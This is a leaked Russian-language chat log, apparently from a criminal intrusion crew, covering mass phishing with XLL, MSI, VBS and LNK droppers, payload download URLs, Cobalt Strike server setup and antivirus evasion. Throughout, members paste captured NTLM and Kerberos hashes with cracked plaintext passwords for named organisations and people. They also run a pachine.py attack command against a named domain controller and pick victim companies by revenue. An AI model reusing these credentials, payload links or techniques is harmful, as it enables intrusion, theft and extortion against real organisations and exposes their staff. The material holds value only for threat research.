owa20.09.txt Count valid: 11

а вот другие не сбрасывали

вроде

file: smtp20.09.txt

а вот это еще

cp18.09 вот этого не было

600k ушло

> <@usernamegg:matrix.bestflowers247.online> [14:10:32] true pdf + xll: 104.238.60.64

добавил

Новые данные под cob6, обновите, пожалуйста, пришлось переустановить

хм

ну это не ко мне

просто от мелкора запуски есть

а от xll нет запусков, хотя 30 мин стояли на выдаче

линки же одинаковые я выдал

> <@lapa:matrix.bestflowers247.online> http://88.119.175.245/WNJD1/{random}

он пусть не смотрит на то, что даже вбс битый или еще что-то, там тупо скачиваний вбс почему-то не было

ну это тебе севрак твой рдп, где бот стоит ответ не отдает

т.е. как будто не запускали xll или не смогли

900k ушло

пришло ли что нормальное?

или стопать

может он как то фильтрует, кому отдавать, кому не отдавать

может это у него такой фильтр от реверса

или просто ддос идет на сервак уже

что там пакетами тебе шлют и сервак не успевает быстро отвечать

ну выдавать команду

я когда заходил видел, как много очень запросов тебе шло

scopes или как то так

ну утром когда делал vbs

там было много коннектов, а ботов 0

Cob7

кобы 8 и 9 будут на 4.9 версии

[WS20170501-01] Zahnarztpraxis

++

30 мин еще шлю и стопну

через systeminfo запрос смотришь Domain, если там реально домен указан, то можно будет тестить с поднятием прав

у него вбс битый почему-то

точнее не битый

а таймаут скачивания с http://94.228.169.143:2351/vjikfjxb

который зашит в вбс

я же хз что у вас там в вбс зашито

http://94.228.169.143:2351/vjikfjxb это может ваш линк на лоадер?

+

я не уверен, что xll это запускать норм могут, может это тоже уже как с экселем устаревший экспоит

> <@usernamegg:matrix.bestflowers247.online> [15:26:55] true pdf + xll: Рандом:

а сейчас вообще стучат новые?

просто запуски то есть

может у вас там лоадер отвалился

так-то 200 запусков

ок

ну я могу вбс заменить

тогда нужно чтобы мелкор еще пересобрал все

ну тогда может юсу

если она вообще идти будет

она вот нифига не идет

1.1млн ушло на европу

+

я все же перезапустил на 30 минут... чисто по корпам прошлю

самому файл сделать или ты скинешь?

юсу прошлем на анубис тогда?

я по линки на впсках делаю

* я пока линки на впсках делаю

ясно

стопнул, 1.4 млн ушло на европу короч

http://94.131.106.78/BcDx2y/{random}

вот новые линки

под юс

мелкору выдал

`sabine.haack@uni-rostock.de:::1122334455667788:441e456e495b533bac00092191d2f1b0:0101000000000000f86b873ab2efd9014754d2d93417d01b0000000008003000300000000000000000000000002000004a11ff794853fb302de02f3f059e67686674718a38b10ba71449194c22117c0d0a0010000000000000000000000000000000000009001a0043004c0041004e00430059005c0053006100620069006e0065000000000000000000`

ED_kekhash.txt

`v1vkerna::ED:1122334455667788:a18b9ae92cbdca4329003205c05c2070:01010000000000001af7bec9b2efd9012a44900aa7929d2300000000080030003000000000000000000000000020000085a5a40df3e4e53b6b654d1a9060c5f2192f9318d95336231a8b558088e7420f0a0010000000000000000000000000000000000009001600450044005c007600310076006b00650072006e0061000000000000000000`

Ну ладно) Они же тестовые

Щас будем edu rhenbnm

* Щас будем edu крутить

на 1.4 B

ок, тогда прошлем в лоадер этот?

с европы в итоге ничего?

а какие сервера у нас их?

> <@usernamegg:matrix.bestflowers247.online> ну все же силы потрачены )

+

ты зашел

ок

не понял

xll запускает же vbs

> <@usernameww:matrix.bestflowers247.online> `sabine.haack@uni-rostock.de:::1122334455667788:441e456e495b533bac00092191d2f1b0:0101000000000000f86b873ab2efd9014754d2d93417d01b0000000008003000300000000000000000000000002000004a11ff794853fb302de02f3f059e67686674718a38b10ba71449194c22117c0d0a0010000000000000000000000000000000000009001a0043004c0041004e00430059005c0053006100620069006e0065000000000000000000`

пиши тогда как все)

+

> <@usernamett:matrix.bestflowers247.online> `v1vkerna::ED:1122334455667788:a18b9ae92cbdca4329003205c05c2070:01010000000000001af7bec9b2efd9012a44900aa7929d2300000000080030003000000000000000000000000020000085a5a40df3e4e53b6b654d1a9060c5f2192f9318d95336231a8b558088e7420f0a0010000000000000000000000000000000000009001600450044005c007600310076006b00650072006e0061000000000000000000`

++

Привет

пиздец я пароль вспомнил

ебаные кавычки в пароле надо было добавить в элементе

я не приехал))

я остался

ебаный пароль вспоминал, а хуй знает как просить

в телегу же не напишу

+

там оказывается пароль в элемент и в него надо было добавить одинарные кавычки, заебался подбирать

но мне чет xll не оч нравится

его видимо что-то не ходят отпрывать

открывать*

или не могут

ладно, еще раз попробуем

+

не

а погоди, я дома же

все Ок

> <@usernamegg:matrix.bestflowers247.online> ты не вернулся в офис ?

> <@usernamegg:matrix.bestflowers247.online> я сегодня просто тут во втором натсраиваю все

я щас настрою тоже все и все будет тип топ

а во втором сегодня начали уже что ли

проливаю msi на линки

+

cob8 4.9 на надписи внимания не обращайте

нет

только на новые линки

может msi отправился на проверку

давайте тогда еще атачем соберем

прошлю атачем

только я ему свои линки выдам

на xll

а то у него даже там файл выдавался всегда с одним именем

https://dgict.co/am/

вот эти линки в пдф можно зашить

> <@usernamegg:matrix.bestflowers247.online> надо рандомизировать имена

я свои линки ему выдал

```

750$ абхазия 1

```

1200$ абхазия 2

+

жду пдф еще

со своими линками

ну письма вроде норм для линков

Hello

но хотя нет

вот к примеру эту письмо не подойдет

так как у нас есть переписки между колегами

и они такое будут писать друг другу не будут

я пока просто шлю "Привет. Посмотри документ

+

🐰

file: Goods_алл2.txt_25.08.2023.txt

по этим файлам давал уже отчет

ну я вот поставил xll его 15 мин назад на выдачу

и перестали идти запуски

я прям хз почему

+

юсу наверное лучше к 19 запускать

82.135.102.26 этот стукнул, вроде запуск был

msi вроде как запустил

134.214.214.147 этот тож запустил

213.181.48.63

87.27.133.251

стукнул хоть кто?

если да, тогда сейчас даже запущу юсу атачем, чтобы больше прослать

+

8 даже запусков msi уже есть

хм, ну скачивания msi точно были

23.236.181.107 удалить его, я запущу xll

> <@usernamegg:matrix.bestflowers247.online> а страны какие ?

немец, франция, италия

87.27.133.251

ну вот это италия

он с msi пришел

через xll

а говорите нету)

у вас там что-то список сильно разбросан

я думал там все по порядку

эм

я не слал еще ничего

это достукивает

просто поставил xll на выдачу

европу же линками слал 1.4млн

ладно, скоро тогда юсу запущу

атачем

с этими же прошлем

запустил юсу

ок

с юсы сейчас реверсы идут?

это ты?)

выбил

пиши как все

ок, заблочил, которые скачивают с curl/7.76.1

`proxychains python3 pachine.py -dc-host UKLON1DCW02.almacg.com -dc-ip 10.160.3.11 -scan 'ALMACG.COM/asperandei' -hashes aad3b435b51404eeaad3b435b51404ee:41e96ecf5dec5ac68d353fc00f994f75`

не идет юса

но шлю до 19 00

100к ушло уже атачем

да, когда на юсу шлешь, пробиваются

вообще нет юсу пока

хз, мы так то шлем по старой базе еще

новых не много контактов

> <@usernamegg:matrix.bestflowers247.online> или база уже все ?

думаю

да

corpfullsummer.txt

Total: 35,456,159

163.116.145.62 ну вот пока только один запуск с юсы

на реальный похож

+

142.103.119.205 канада

`8208 4732 FCDBLog.exe`

https://macaperuanacomboro.com.br/eosoccaecati/i.exe

можно пролить

128.189.195.93

канада

172.56.92.125

юса

стукнул кто из них?

`wolff::VDV_1:1122334455667788:8724bfb565ccf18b311f625a0081b9ed:0101000000000000f64e16d8c5efd9015b1d7c79b56ae8f400000000080030003000000000000000010000000020000092218086b2d23d074d00167716816412d26f9fa75e245646d615f44075f8b41f0a00100000000000000000000000000000000000090016005600440056005f0031005c0077006f006c00660066000000000000000000`

WOLFF::VDV_1:1122334455667788:8724bfb565ccf18b311f625a0081b9ed:0101000000000000f64e16d8c5efd9015b1d7c79b56ae8f400000000080030003000000000000000010000000020000092218086b2d23d074d00167716816412d26f9fa75e245646d615f44075f8b41f0a00100000000000000000000000000000000000090016005600440056005f0031005c0077006f006c00660066000000000000000000:Kufstein#

> <@usernamegg:matrix.bestflowers247.online> завтра на анубис прошлем

400k ушло

стопать буду

file: 2209n1.txt

отчет

cp18.09.txt

COUNT_NEW = 891

Все вроде. Офнусь

++

check

test

check

vsem hi

Hi

hi

> <@usernamexx:matrix.bestflowers247.online> vsem hi

check

Hello

XXL?

josko

:)

)

)

Hallo

eto XXS chtol pishet?)))

Привет!

> <@usernamexx:matrix.bestflowers247.online> eto XXS chtol pishet?)))

`scerenzia::SQLLC:1122334455667788:3930e488b75b5551113999cbc258d9f7:010100000000000099152c12cfefd9011735594ff30aaf5a0000000008003000300000000000000000000000002000003cdc2faa7138ff509e3026e27ce1ff67bf76cfcf9cfe39c528b5b1417f9e9e130a0010000000000000000000000000000000000009001e00530051004c004c0043005c00730063006500720065006e007a00690061000000000000000000`

SCERENZIA::SQLLC:1122334455667788:3930e488b75b5551113999cbc258d9f7:010100000000000099152c12cfefd9011735594ff30aaf5a0000000008003000300000000000000000000000002000003cdc2faa7138ff509e3026e27ce1ff67bf76cfcf9cfe39c528b5b1417f9e9e130a0010000000000000000000000000000000000009001e00530051004c004c0043005c00730063006500720065006e007a00690061000000000000000000:Scer183!

могу юзать nsocks.net как раньше ?

в старый электрум кошелек можно зайти?

++

lf

да там

нет

нового не было уж долго

проверил ща лимо шелл живет) тьфу тьфу

кобы сервера есть под работу ?

cobaltstrike.sh

java --version

* `java --version`

`sudo pacman -S jdk17-openjdk -fix-missing`

image.png

`sudo -Syu`

*

image.png

`sudo pacman -S jre-openjdk`

> <@usernamevv:matrix.bestflowers247.online> кобы сервера есть под работу ?

я кидал в общий чат, нашел или не

нет, щас посмотрю если ты подписывал

я не листал его

cob

ищи

какие нам брать ?

я хз какие не взяли они, договоритесь

там всего 7 сделано, 1 из них 4.9

мы 4.9 ставим

там все экспериментальные кобы если что

мы сделали шифрование трафика

работает только 443 порт

понял

можно любой заказать, но через меня

`archlinux-java status`

`https://wiki.archlinux.org/title/java`

`sudo archlinux-java set java-20-openjdk`

бро привет, сегодня пара французов прилетела

завтра все разберу отпишусь

с завтра буду с утра на связи

хвнц нам пока не отдали

сегодня сделали с прокладками билд

https://www.zoominfo.com/c/unither-llc/356615031

DOMAIN unither-pharma.com FR 450kk

кажется в домене и онлайн

DOMAIN 134M / carmignac.fr / FR / https://www.zoominfo.com/c/carmignac/10995345

tut

++

`EMAC::.:1122334455667788:1647f527f52998854233a1cc9ea3f864:010100000000000074dbf08fe5efd901a50161371a9d618f0000000008003000300000000000000001000000002000005a77518c54504d47450d4c6bb9f7b5f623b0955ffa711797f0ad383a569646620a0010000000000000000000000000000000000009001400490036003600350035005c0045004d00410043000000000000000000`

aga)

EMAC::.:1122334455667788:1647f527f52998854233a1cc9ea3f864:010100000000000074dbf08fe5efd901a50161371a9d618f0000000008003000300000000000000001000000002000005a77518c54504d47450d4c6bb9f7b5f623b0955ffa711797f0ad383a569646620a0010000000000000000000000000000000000009001400490036003600350035005c0045004d00410043000000000000000000:emac

++

если получится, напиши плиз

скоро юсу прошлем, если будет что-то отпишусь

> <@usernamegg:matrix.bestflowers247.online> 09/25 22:19:05 *** initial beacon from EMAC@172.20.10.3 (I6655)

это рабочая тачка была,она никогда не была в сети

там вне домена

и трасты когда запрашиваешь ,выдает ошибку

ок

понял. надо менять обучить нормально проверять

прошлем ее через хвнц как отдадут

```

11kekhash.txt

LUX.txt

Ревеню есть, значит делать))

🫡

PRESTA.txt

> <@usernamezz:matrix.bestflowers247.online> 🫡

> <@usernamezz:matrix.bestflowers247.online> 🫡

`010100000000000037fee3eeedefd901799b8ddc1809d6ba030000000800300030000000000000000000000000200000d2281b576d69cdf3bac58a65f782aff75fbc8ac7d720b0534ffb155c771524870a0010000000000000000000000000000000000009002c004300410052004d00490047004e00410043005c006a006600720065006400720069006b00730073006f006e000000000049ed0000`

`agogate::CARMIGNAC:1122334455667788:728cea3bd58556f7e680551ed07cb78a:01010000000000001135a8ebedefd9018e08082e92ff31733005776a08003000300000000000000000000000002000002a3e2f5f37ba0de68c886df8b0591c33fb015618d3ffab92bda6284c1ff9fce30a00100000000000000000000000000000000000090022004300410052004d00490047004e00410043005c00610067006f0067006100740065000000000000000000`

* jfredriksson::CARMIGNAC:1122334455667788:37e54b062076f6e8c45168a38932a789:010100000000000037fee3eeedefd901799b8ddc1809d6ba030000000800300030000000000000000000000000200000d2281b576d69cdf3bac58a65f782aff75fbc8ac7d720b0534ffb155c771524870a0010000000000000000000000000000000000009002c004300410052004d00490047004e00410043005c006a006600720065006400720069006b00730073006f006e000000000049ed0000

JFREDRIKSSON::CARMIGNAC:1122334455667788:37e54b062076f6e8c45168a38932a789:010100000000000037fee3eeedefd901799b8ddc1809d6ba030000000800300030000000000000000000000000200000d2281b576d69cdf3bac58a65f782aff75fbc8ac7d720b0534ffb155c771524870a0010000000000000000000000000000000000009002c004300410052004d00490047004e00410043005c006a006600720065006400720069006b00730073006f006e000000000049ed0000:Amalia02

++

all_kekhash.txt

DOMAIN /ac3.com.au/ AU /75kk

DOMAIN/cambiumnetworks.com/296kk/USA

Привет!

http://135.125.177.95/syK/{random}

Давайте сегодня попробует европу прослать xll атачем

Да, письма словил

+

> <@usernamegg:matrix.bestflowers247.online> х86 ты ехе видел от сокс бота ?

cp18.09.txt COUNT_NEW = 891 это я чекал уже

> <@usernamett:matrix.bestflowers247.online> sent a file.

0

Жаль

> <@usernamegg:matrix.bestflowers247.online> можно на авто крипт ставитьь его дополнительно

> <@usernamegg:matrix.bestflowers247.online> [11:16:35] true pdf + xll: а там сейчас что отдается vbs или msi?

жду тогда msi

вчера хоть что взяли в работу?

+

пролил msi

не стучит к вам?

или не заходит в онлайн ?

https://takabplast.com/mare/

линки для пдф

скоро сделаю линк для сокс бота

https://ghourinetworks.com/aliquamvoluptatum/i.exe можно пролить соксы

123

может реверсер, хотя в проливе эта контора есть

смотрю списки

хз(

надеюсь не у расты

ты кстати с ним еще общался? мне не отвчает последние дни

и W что-то пропал

`Nelkner::HAEFFNER-ASP:1122334455667788:1454ec7379eb3a34719baa7d2cd2f97d:0101000000000000bbe5519851f0d901c426e72a56c5b633000000000800300030000000000000000000000000200000004a55185356ace586b990804fda98ef7aff9d6281aff533263af66de23190de0a0010000000000000000000000000000000000009002800480041004500460046004e00450052002d004100530050005c004e0065006c006b006e00650072000000000000000000`

принял

как месенджер называется?

-----

---

+

437M / acolad.com / FR / https://www.zoominfo.com/c/acolad-group/507406808

онлайн вроде в домене тоже

Program:Win32/Wacapew.C!ml

во всяком случае не ворк групп черзе сустем инфо

спалило xll на моменте скачивания

скоро еще проверю парочку

в общем деф не дает скачать

ладно, прошлем все равно

plugins

там увидишь

не всегда срабатывает

блин только что был(

ну он часто заходити каждый день

+

повысит права

бот тотже

ура

работает

бред, наконец то работает

> <@usernamegg:matrix.bestflowers247.online> sent an image.

мне впски еще нужны будут для юсы

мелкор еще сказал, что можно под пассом выдавать

тогда тип чисто

да, оно обновится

ваш сервак должен с моего это подтянуть

у меня ты уже онлайн

зайду на дед ?

значит скоро исправится

с лапой списался

+

делать билд бота?

я так понял вы сейчас под еу шлете DarkGate + XLL?

из тех кого отработали , никто не вышел на связь?

1. Бот в полной боевой готовности, все сейчас работает через Syscall, прямые вызовы к ядру ( условно говоря ) динамик детектов нет, всего 1 детект на самом боте без крипта ( палит QuickHeal когда дропер инжектит самого бота, сам бот полностью чист )

xtm-intl.local 46 https://www.zoominfo.com/c/xtm-international-ltd/345944395

вакатак был

скоро еще проверю

да

Пока что еслои что загрузка шелкода происходит так:

бро по этому не дал обратную связь

чтоб потом не давать его на чек тебе

короче все равно Program:Win32/Wacapew.C!ml при скачивании

```

+++

окей

хорошо

тогд для вас только нагрузку сегодня делаю

+

```

вакатак при скачивании

ладно, давайте прошлю 100-200к

посмотрим что будет

либо может пусть мелкор соберет

> <@usernamegg:matrix.bestflowers247.online> через пароль в зипе ?

да

+

запустил

ну вроде есть какие-то запуски

HAEFFNER_kekhash.txt

https://www.bestflowers247.online/grain

мелкор выдал

номер 58 подписан NEW CHECK - попробуй позвать

от него поставлю

чисто у него

куча сетевых дисков

но не работает риверс шелл и выгрузить пасы не могу

kekhash.txt

открыл рабочий стол , ральный чел

$krb5tgs$23$*SOFTMD3$asperg.hugohaeffner.com$HTTP/sql-01.asperg.hugohaeffner.com*$37aee7d0aba484061d7...6c690c0c2d:softmd3

++

$krb5tgs$23$*d3_service$asperg.hugohaeffner.com$http/haeffner-151*$e06b2e8cac4455f3d56...8a4df818bd:d3admin@2019

++

стучит что?

я пока от мелкора поставил

а то так-то 40 запусков есть

ok

соксы не работаю если что со вчера

мне не хватило

скинул лапе файлы LNK + MSI

чисто и все запускается

мне только вот не нравится как msi запускается, он как-то долго висит

лично у меня он как-то даже зависает

да ну нах

стопаю тогда

запуски точно есть

скажи как можно будет зайти

50 запусков уже

забрал последний рабочий

получилось его позвать?

или выяснить ху из

После подключения single vpn Google определяет местоположение как российское. Double vpn работает корректно - указывает на Латвию.

2023-09-26_13-14.png

image.png

на 2ip что показывает

на всех популярных сервисах, кроме гугла, показывает Нидерланды

+

да

на теже

при заходе на Гугл сразу выкидывает на российскую версию

это потому что у тебя система русская

пару сек

сделаю щас

система английская. Сам гугл смотрит на сеть, когда предлает сервисы

image.png

* на те же

+++

запустил

скоро скину лапе

image.png

странно

странный бот

скинул лапе на тест 10 штук, чтобы он проверил отбивку

xtm получилось позвать?

10 XX - not work

* сокс5 не работает один, десятый

хм

сейчас попробуем план Б

я сгружу их к W

и попорбуем оттуда позваь

+

мелкор выдал

23.236.181.107

я запустил на этой машине

стукнуло?

есть альтернативы как можно передать?

наверное мой попал в black

хз только почему

CHECK NEW

норм сетка эта..

да судя по стате

заблочило тупо запуск

как его поменять

я спросил у расты он молчит..

чтоб не потерять ботов

слушай так если я перекину его к W

ip же сменится для тебя если из под него будем грузить

давай протестим

91.33.118.81 вот это как раз реальный бот скорее всего

немец

хорошо я пока все со своей стороны сделаю

да я уже понял

и мой дедик почему-то в блеке

ладно, скоро запущу

прошлем

посмотрим

запустил

шлю атачем пдф

ждем 30 мин

бля вот чет реверсы начали с юсы ходить думаю

85.18.30.40 итальянец на реального похож

тоже походу в блок попал

Привет

пиздят таргеты думаешь в этом лоадере?

ну раньше когда хуево было когда квак палился, хотя бы 1-2 конторы нормальные в сутки залетало

а щас хуй на руль, странное поведение

возможно совпадение такое, а возможно и нет

странно что-то

запуски в стате не растут

хотя у меня запускают

на выдаче xll

потом еще от мелкора поставлю

ну немцы запускают

а в стате 6 блеков

прошлю линками мелкора

не особо

но запуски есть

image.png

тухло что-то все равно

> <@usernamegg:matrix.bestflowers247.online> зарксеоа сколько?

да, запусков мало еще

сейчас перезапустил

по новой просылаю

я скинул уже лапе если что фулл комплект

да

я ему 10 на тест скидывал

проверили все

и сейчас скинул вот 3к

вот сейчас вроде получше пошли запуски

подождем

но я еще соксы заюзал, которые раньше юзал

все же с соксбота медленные соксы

ладно, посмотрим, может нифига и не поменяется

хорошо

я войти не могу, так как в анубесе можно только одному сидеть одноврменнно

> <@usernameyy:matrix.bestflowers247.online> 1200$ абхазия 2

```

учетка басты

какой ник дать?

dasdas(admcor)

все же не идут толком запуски

319M/topcon.com/USA

в домене

онлайн

новый

domain

не ворк групп показывает

сек еще одно чекну сразу

да деф еще все же палит xll

вакатаком

да ладно, мне в целом статы достаточно видеть

204M / ampesand.tv/USA - domain

```

да палит xll сразу же

---

как протестишь напиши плиз, получилось или нет

блин, я перед тем как писать проверяю(

> <@usernameugway:matrix.bestflowers247.online> 204M / ampesand.tv/USA - domain

```

```

я сейчас попдробую сделать линки на 4 впсках новых и прослать их

посмотреть, может с них лучше будет идти

12kekhash.txt

доступы в ботнет и прочие моменты еще нужны

ща

`GregV::NCC:1122334455667788:b7d37cea7f4e71dc14823cba6bc7a02d:0101000000000000cba0961e73f0d90188cba83d40c43203000000000800300030000000000000000100000000200000fabb1fcfc82a4180da802e86fbdd1ea5052be978cf948d0e7ad1b17d89bd2b510a00100000000000000000000000000000000000090012004e00430043005c00470072006500670056000000000000000000`

GREGV::NCC:1122334455667788:b7d37cea7f4e71dc14823cba6bc7a02d:0101000000000000cba0961e73f0d90188cba83d40c43203000000000800300030000000000000000100000000200000fabb1fcfc82a4180da802e86fbdd1ea5052be978cf948d0e7ad1b17d89bd2b510a00100000000000000000000000000000000000090012004e00430043005c00470072006500670056000000000000000000:hammer4

++

ок мы щас в коб 8 сидим, 4.9 версия

SPO_kekhash.txt

$krb5tgs$23$*sqlmail$spotcable.com$MSSQLSvc/ncc-camgmt.spotcable.com:1433*$8b6b9da685ae502da5d...1500eb2ed7:sqlsql

++

подготовил впски

скоро попробую прослать линками на впкски

$krb5tgs$23$*AuditMonitor$spotcable.com$MSSQLSvc/DA-Net8.spotcable.com:50182*$481509582931f2bfc0cac..feab9a012f1332a613eee03e3a97f63a7ab2cff0646ab341ed97a7265f2094f4725177906de:Sonoplex1

++

8_443.bin

$krb5tgs$23$*MDTAdmin$spotcable.com$MSSQLSvc/ncc-mdt-3.spotcable.com:58982*$c17f6caa62cabeeb17900d3be1c8..dc6d:Sonoplex01

я вставил уж кобу отправить хотел

> <@usernameww:matrix.bestflowers247.online> sent a file.

> <@usernameboy:matrix.bestflowers247.online> $krb5tgs$23$*MDTAdmin$spotcable.com$MSSQLSvc/ncc-mdt-3.spotcable.com:58982*$c17f6caa62cabeeb17900d3be1c8..dc6d:Sonoplex01

запустил, прошлю минут 30

4 линка всего шлю

image.png

так сделал

http library: winhttp

```

```

https://dropmefiles.com/DW5rS

что то новое?

нет

пон

тут у кого то нет cortex-xdr-payload.exe

вот продублировал

пон

пж

+

реверсы наверное

по юсе не запускал

hi

не очень блокируют

подготовишь мне сервак под бэкап?

юсу думаю не буду сегодня слать, бестолку

европа даже не идет

поставлю еще повторное выкачивать письма из мала и пасса, может что еще появится